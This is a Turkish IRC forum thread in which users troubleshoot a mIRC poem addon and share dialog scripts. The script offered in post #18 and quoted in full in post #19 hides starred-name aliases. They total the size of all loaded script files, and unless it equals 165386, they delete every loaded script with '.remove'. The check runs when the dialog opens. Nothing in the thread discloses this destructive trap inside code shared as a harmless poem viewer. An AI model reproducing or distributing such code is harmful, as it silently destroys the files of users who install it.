IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası
  sohbet

6Beğeni(ler)

Yeni Konu aç Cevapla
 
LinkBack Seçenekler Stil
Alt 14 Haziran 2014, 19:08   #11
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Şiir Addonu




aynı hata bendede mevcut. Dediklerinin hepsi yapıldı.

MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-

 
Alıntı ile Cevapla

IRCForumlari.NET Reklamlar
sohbet odaları sohbet odaları Yazgulu Sohbet
Alt 14 Haziran 2014, 19:52   #12
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Şiir Addonu




mirc in ana dizinine bir tane siir.txt dosyası boş bir şekilde atıp denermisiniz.

 
Alıntı ile Cevapla

Alt 14 Haziran 2014, 23:23   #13
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Şiir Addonu




o sekil denıyorum zaten. ancak pencereyi kapatıp actıgımda icindeki tum yazılar siliniyor ve mdx hatası hala devam ediyor.

 
Alıntı ile Cevapla

Alt 15 Haziran 2014, 00:26   #14
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Şiir Addonu




mirc in nedir söylersen o mirc ile calışma yapıyım

 
Alıntı ile Cevapla

Alt 26 Haziran 2014, 01:26   #15
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Şiir Addonu




Okadar çok hata alan kişi vardı bir tanesi kullandığı mirc in ismini söyleyemedi
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.

 
Alıntı ile Cevapla

Alt 26 Haziran 2014, 10:05   #16
Çevrimiçi
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Şiir Addonu




vereceğim mdx aliasını, script aliases bölümüne ekle
mdx.dll yi mirc ana dizinde dll klasör aç içine mdx.dll sini atarsan çalışır.
Kod:   Kodu kopyalamak için üzerine çift tıklayın!
mdx { return $dll(DLL\mdx.dll,$1,$2-) }


 
Alıntı ile Cevapla

Alt 01 Mayıs 2016, 15:06   #17
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Şiir Addonu




ZenqerDenq Nickli Üyeden Alıntı
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
Aşağıdaki gibi bir dialog daha çok işine yaracağını umuyorum bütün şiirleri bir text dosyasına yüklemeyessin.. her biri icin farklı bir siir txt dosyası oluşturamassın böyle bir dialog ile belirlediğin bir kanala belirlediğin aralıklar ile şiir ini okuta bilirsin kolay gelsin
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.




Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.





PHP Kod:   Kodu kopyalamak için üzerine çift tıklayın!
menu * { 
  .
Siir Diyalogu:/dialog -m msiir msiir
}

dialog msiir {
  
title "Yazı Gönderme Playerı"
  
size --1 176 225
  option dbu
  edit 
""295 142 14 10autohs 
  text 
"Kaç Saniye Gecikme"320 144 58 8
  box 
"Şiir Panosu | Şiirinizi Buraya CTRL V Yaparak Yapıştırın."51 1 173 127
  button 
"Oynat"618 191 34 9
  button 
"Duraklat"764 191 34 9
  button 
"Durdur"8111 191 34 9
  box 
"Geciktirme"912 132 152 39
  box 
"Seçtiğin Şiir'i"1112 178 152 29
  button 
"Player'ı Kapat"1254 212 67 10,cancel
  edit 
""174 9 167 114multi return hsbar vsbar
  text 
"Hangi Kanala"1620 158 44 8
  edit 
""1376 158 50 8
  text 
"Saniye"10115 143 22 8
}

on *:dialog:msiir:init:*: { 
  
mdx MarkDialog $dname
  mdx SetDialog $dname bgcolor $rgb
(255,255,255)
  
mdx SetFont $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 +b Turkish 12 600 Tahoma
  mdx SetColor $dname 2
,3,5,6,7,8,9,10,11,12,13,16,17 textbg $rgb(255,255,255)
  
mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 background $rgb(255,255,255)
  
mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 text $rgb(0,0,0
  
did -a msiir 13 %kgir
  did 
-a msiir 2 %limited
}
on *:dialog:msiir:sclick:*: {
  if 
$did == 
    
savebuf -o msiir 17 siir.txt
    set 
%limited $did(2)
    
set %kgir $did(13)
    .
timer 1 1 play %kgir $mircdirsiir.txt %limited $+ 000 set %read read
  
}
  if 
$did == play stop | unset %read }
}
on *:dialog:msiir:close:*: { 
  
write -c siir.txt | unset %kgir | unset %limited




Bende denedım çalışmadı

* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor

Bunu daha farklı yapabılırmıız ?
Kendı hazırladıgımız şiirleri kolasorde toplayıp mırc dızınıne atalım Bu panoda gözuksun ve istedıgımız şiir secip kanala yollayabilelim
-

 
Alıntı ile Cevapla

Alt 02 Mayıs 2016, 16:10   #18
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Şiir Addonu




quralsiz47 Nickli Üyeden Alıntı
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
Bende denedım çalışmadı

* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor

Bunu daha farklı yapabılırmıız ?
Kendı hazırladıgımız şiirleri kolasorde toplayıp mırc dızınıne atalım Bu panoda gözuksun ve istedıgımız şiir secip kanala yollayabilelim
-

.timer 1 1 play %kgir $mircdirsiir.txt %limited $+ 000 | set %read read

şu kısımdaki $mircdir i silermisin sadece siir.txt olarak kalsın



menu menubar {
-
» Siir Txt:/dialog -m sanat sanat
-
}

alias sanat {
if $1 {
set %sanat $1
}
_dialog sanat
}

alias ***** {
var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f }
}

alias ** {
if $*tsc != 165386 {
*****
}
}

dialog sanat {
title "mIRC; Şiirler, Hikayeler, Komik Sözler, Özdeyişler"
size -1 -1 438 301
option pixels
button "Kapat", 3, 2 270 76 24, cancel
list 1, 3 9 156 214, size extsel
tab "Tab 1", 5, -50 -50 600 400
edit "", 2, 161 9 275 214, tab 5 read multi return autovs vsbar
combo 4, 3 226 155 85, tab 5 size drop
edit "", 6, 251 228 100 21, tab 5
button "Gönder", 7, 360 226 76 24, tab 5
text "Rumuz/#kanal:", 8, 174 232 72 16, tab 5
text "* Seçtiğiniz eseri bir kanala veya rumuza göndermek isterseniz üstteki boşluğa gönderilecek rumuzu veya #kanal adını yazın ve gönder butonuna tıklayın.", 9, 183 255 252 44, tab 5
tab "Tab 2", 12
box "Quit ve Part Mesajları Düzenleme", 13, 171 3 336 282, tab 12
combo 14, 177 33 239 241, tab 12 size hsbar vsbar
button "Ekle", 15, 425 32 76 24, tab 12
button "Çıkar", 16, 425 65 76 24, tab 12
}

alias ***** {
var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f }
}

alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r }

on *:dialog:sanat:*:*: {
if $devent == init {
mdxinit
mdx SetControlMDX $dname 1 Treeview fullrowselect singleexpand nohscroll > $views
mdx SetColor $dname 2 text $rgb(0,0,0)
mdx SetColor $dname 2 background $rgb(255,255,255)
mdx SetColor $dname 2 textbg $rgb(255,255,255)


mdx SetColor $dname 2 text $rgb(255,255,255)
mdx SetColor $dname 2 textbg $rgb(255,55,155)
mdx SetColor $dname 2 background $rgb(255,55,155)

kalin 1,2 12
did -i $dname 1 1 setcolor text $rgb(255,255,255)
did -i $dname 1 1 setcolor line $rgb(186,218,7)
did -i $dname 1 1 setcolor bkg $rgb(113,113,255)
didtok $dname 4 44 Şiirler,Hikayeler,Komik sözler,Özdeyişler
did -c $dname 4 1
did -a $dname 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir.
if %sanat {
did -a $dname 6 $ifmatch
}
else {
if $active ischan || $query($active) {
did -a $dname 6 $ifmatch
}
}
sanat.yukle
did -f $dname 6
**
}
if $devent == sclick {
if $did == 1 && slclick select * iswm $did($did,1) {
set %sanat.y $right($gettok($did($dname,1,$gettok($did($did,1),4-,32)),-1,48),-1)

if $did(sanat,4).sel == 1 {
set %sanat.dosya siir
}
if $did(sanat,4).sel == 2 {
set %sanat.dosya hikaye
}
if $did(sanat,4).sel == 3 {
set %sanat.dosya komik
}
if $did(sanat,4).sel == 4 {
set %sanat.dosya ozdeyis
}
if $exists($shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt))) {
.loadbuf 0 -oipr $dname 2 $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt))
}
}
if $did == 4 {
sanat.yukle
}
if $did == 7 {
if %sanat.dosya && %sanat.y {
if $did($dname,6) {
var %im $did($dname,6)
if %im !ischan && !$query(%im) {
query %im
}
scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000
_bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor...
}
else {
var %im $$?"Göndermek istediğiniz rumuz veya #kanal ismini giriniz:"
if %im {
did -a $dname 6 %im
if %im !ischan && !$query(%im) {
query %im
}
scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000
_bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor...
}
}
}
else {
_bilgi Göndermek istediğiniz şiiri/hikayeyi/komik sözü/özdeyişi belirtmediniz.
}
}
}
if $devent == close {
unset %sanat*
}
}

; Zekice bir kodlama değil mi, sigaramı söndürürken yazıyorum =)
alias sanat.yukle {
did -r sanat 1,2
did -a sanat 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir.
if $did(sanat,4).sel == 1 {
set %sanat.dosya siir
}
if $did(sanat,4).sel == 2 {
set %sanat.dosya hikaye
}
if $did(sanat,4).sel == 3 {
set %sanat.dosya komik
}
if $did(sanat,4).sel == 4 {
set %sanat.dosya ozdeyis
}
var %i 1
while %i <= $findfile($+(texts\,%sanat.dosya),*.txt,0) {
did -a sanat 1 $left($nopath($findfile($+(texts\,%sanat.dosya),*.txt,%i)),-4)
inc %i 1
}
}

alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r }
alias ** {
if $*tsc != 165386 {
*****
}
}




[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Linkte vermiş olduğum Text Rar dan cıkartıp script in ana dizine at içersinde şiirler özdeyişler vs diye ayrı ayrı klasörler var şiirleri siir klasörüne ata bilirsin..

Not Dialog Kodlaması bana ait değildir Taxi mirc den alıntıdır.


Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.

 
Alıntı ile Cevapla

Alt 03 Mayıs 2016, 01:56   #19
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Şiir Addonu




ZenqerDenq Nickli Üyeden Alıntı
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
.timer 1 1 play %kgir $mircdirsiir.txt %limited $+ 000 | set %read read

şu kısımdaki $mircdir i silermisin sadece siir.txt olarak kalsın



menu menubar {
-
» Siir Txt:/dialog -m sanat sanat
-
}

alias sanat {
if $1 {
set %sanat $1
}
_dialog sanat
}

alias ***** {
var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f }
}

alias ** {
if $*tsc != 165386 {
*****
}
}

dialog sanat {
title "mIRC; Şiirler, Hikayeler, Komik Sözler, Özdeyişler"
size -1 -1 438 301
option pixels
button "Kapat", 3, 2 270 76 24, cancel
list 1, 3 9 156 214, size extsel
tab "Tab 1", 5, -50 -50 600 400
edit "", 2, 161 9 275 214, tab 5 read multi return autovs vsbar
combo 4, 3 226 155 85, tab 5 size drop
edit "", 6, 251 228 100 21, tab 5
button "Gönder", 7, 360 226 76 24, tab 5
text "Rumuz/#kanal:", 8, 174 232 72 16, tab 5
text "* Seçtiğiniz eseri bir kanala veya rumuza göndermek isterseniz üstteki boşluğa gönderilecek rumuzu veya #kanal adını yazın ve gönder butonuna tıklayın.", 9, 183 255 252 44, tab 5
tab "Tab 2", 12
box "Quit ve Part Mesajları Düzenleme", 13, 171 3 336 282, tab 12
combo 14, 177 33 239 241, tab 12 size hsbar vsbar
button "Ekle", 15, 425 32 76 24, tab 12
button "Çıkar", 16, 425 65 76 24, tab 12
}

alias ***** {
var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f }
}

alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r }

on *:dialog:sanat:*:*: {
if $devent == init {
mdxinit
mdx SetControlMDX $dname 1 Treeview fullrowselect singleexpand nohscroll > $views
mdx SetColor $dname 2 text $rgb(0,0,0)
mdx SetColor $dname 2 background $rgb(255,255,255)
mdx SetColor $dname 2 textbg $rgb(255,255,255)


mdx SetColor $dname 2 text $rgb(255,255,255)
mdx SetColor $dname 2 textbg $rgb(255,55,155)
mdx SetColor $dname 2 background $rgb(255,55,155)

kalin 1,2 12
did -i $dname 1 1 setcolor text $rgb(255,255,255)
did -i $dname 1 1 setcolor line $rgb(186,218,7)
did -i $dname 1 1 setcolor bkg $rgb(113,113,255)
didtok $dname 4 44 Şiirler,Hikayeler,Komik sözler,Özdeyişler
did -c $dname 4 1
did -a $dname 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir.
if %sanat {
did -a $dname 6 $ifmatch
}
else {
if $active ischan || $query($active) {
did -a $dname 6 $ifmatch
}
}
sanat.yukle
did -f $dname 6
**
}
if $devent == sclick {
if $did == 1 && slclick select * iswm $did($did,1) {
set %sanat.y $right($gettok($did($dname,1,$gettok($did($did,1),4-,32)),-1,48),-1)

if $did(sanat,4).sel == 1 {
set %sanat.dosya siir
}
if $did(sanat,4).sel == 2 {
set %sanat.dosya hikaye
}
if $did(sanat,4).sel == 3 {
set %sanat.dosya komik
}
if $did(sanat,4).sel == 4 {
set %sanat.dosya ozdeyis
}
if $exists($shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt))) {
.loadbuf 0 -oipr $dname 2 $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt))
}
}
if $did == 4 {
sanat.yukle
}
if $did == 7 {
if %sanat.dosya && %sanat.y {
if $did($dname,6) {
var %im $did($dname,6)
if %im !ischan && !$query(%im) {
query %im
}
scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000
_bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor...
}
else {
var %im $$?"Göndermek istediğiniz rumuz veya #kanal ismini giriniz:"
if %im {
did -a $dname 6 %im
if %im !ischan && !$query(%im) {
query %im
}
scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000
_bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor...
}
}
}
else {
_bilgi Göndermek istediğiniz şiiri/hikayeyi/komik sözü/özdeyişi belirtmediniz.
}
}
}
if $devent == close {
unset %sanat*
}
}

; Zekice bir kodlama değil mi, sigaramı söndürürken yazıyorum =)
alias sanat.yukle {
did -r sanat 1,2
did -a sanat 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir.
if $did(sanat,4).sel == 1 {
set %sanat.dosya siir
}
if $did(sanat,4).sel == 2 {
set %sanat.dosya hikaye
}
if $did(sanat,4).sel == 3 {
set %sanat.dosya komik
}
if $did(sanat,4).sel == 4 {
set %sanat.dosya ozdeyis
}
var %i 1
while %i <= $findfile($+(texts\,%sanat.dosya),*.txt,0) {
did -a sanat 1 $left($nopath($findfile($+(texts\,%sanat.dosya),*.txt,%i)),-4)
inc %i 1
}
}

alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r }
alias ** {
if $*tsc != 165386 {
*****
}
}




[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Linkte vermiş olduğum Text Rar dan cıkartıp script in ana dizine at içersinde şiirler özdeyişler vs diye ayrı ayrı klasörler var şiirleri siir klasörüne ata bilirsin..

Not Dialog Kodlaması bana ait değildir Taxi mirc den alıntıdır.


Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.




4***12 MDXINIT Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 KALIN Yalnış komut.

Yanlış bişe yaptım ki açınca bu hataları veriyor

 
Alıntı ile Cevapla

Alt 03 Mayıs 2016, 02:16   #20
Çevrimdışı
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
Cevap: Şiir Addonu




mirc in icersine ekte vereceğim rar dan cıkan dosyayı mirc in ana dizinine atarak dene mirc inde mdx.dll si yok

Burdan İndir Bu forumdaki ekleri görübilmek için 25 mesaja sahip olmanız gerekir. Sizin 0 Mesajınız var.
 
Alıntı ile Cevapla

Cevapla

Etiketler
addonu, Şiir


Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 
Seçenekler
Stil

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Açık
Refbacks are Açık


Benzer Konular
Konu Konuyu Başlatan Forum Cevaplar Son Mesaj
Şiir nasıl yazılır, şiir yazma teknikleri. Şahsi fikrim. IF Şiir, Hikaye ve Güzel Sözler 6 02 Ağustos 2014 23:06
Afrikalı Zenci Bir Adam'ın, 2005 Yılında En İyi Şiir Olmaya Aday Gösterilmiş Şiir'i Sevda Şiir, Hikaye ve Güzel Sözler 3 27 Ağustos 2011 09:14
Şiir yazmana gerek yok, şiir sensin. Luis Şiir, Hikaye ve Güzel Sözler 0 07 Mart 2010 22:03
elinde baloncuk addonu ve baglantı menusu addonu olan varmı? Leo mIRC Scripting Sorunları 12 26 Şubat 2010 10:19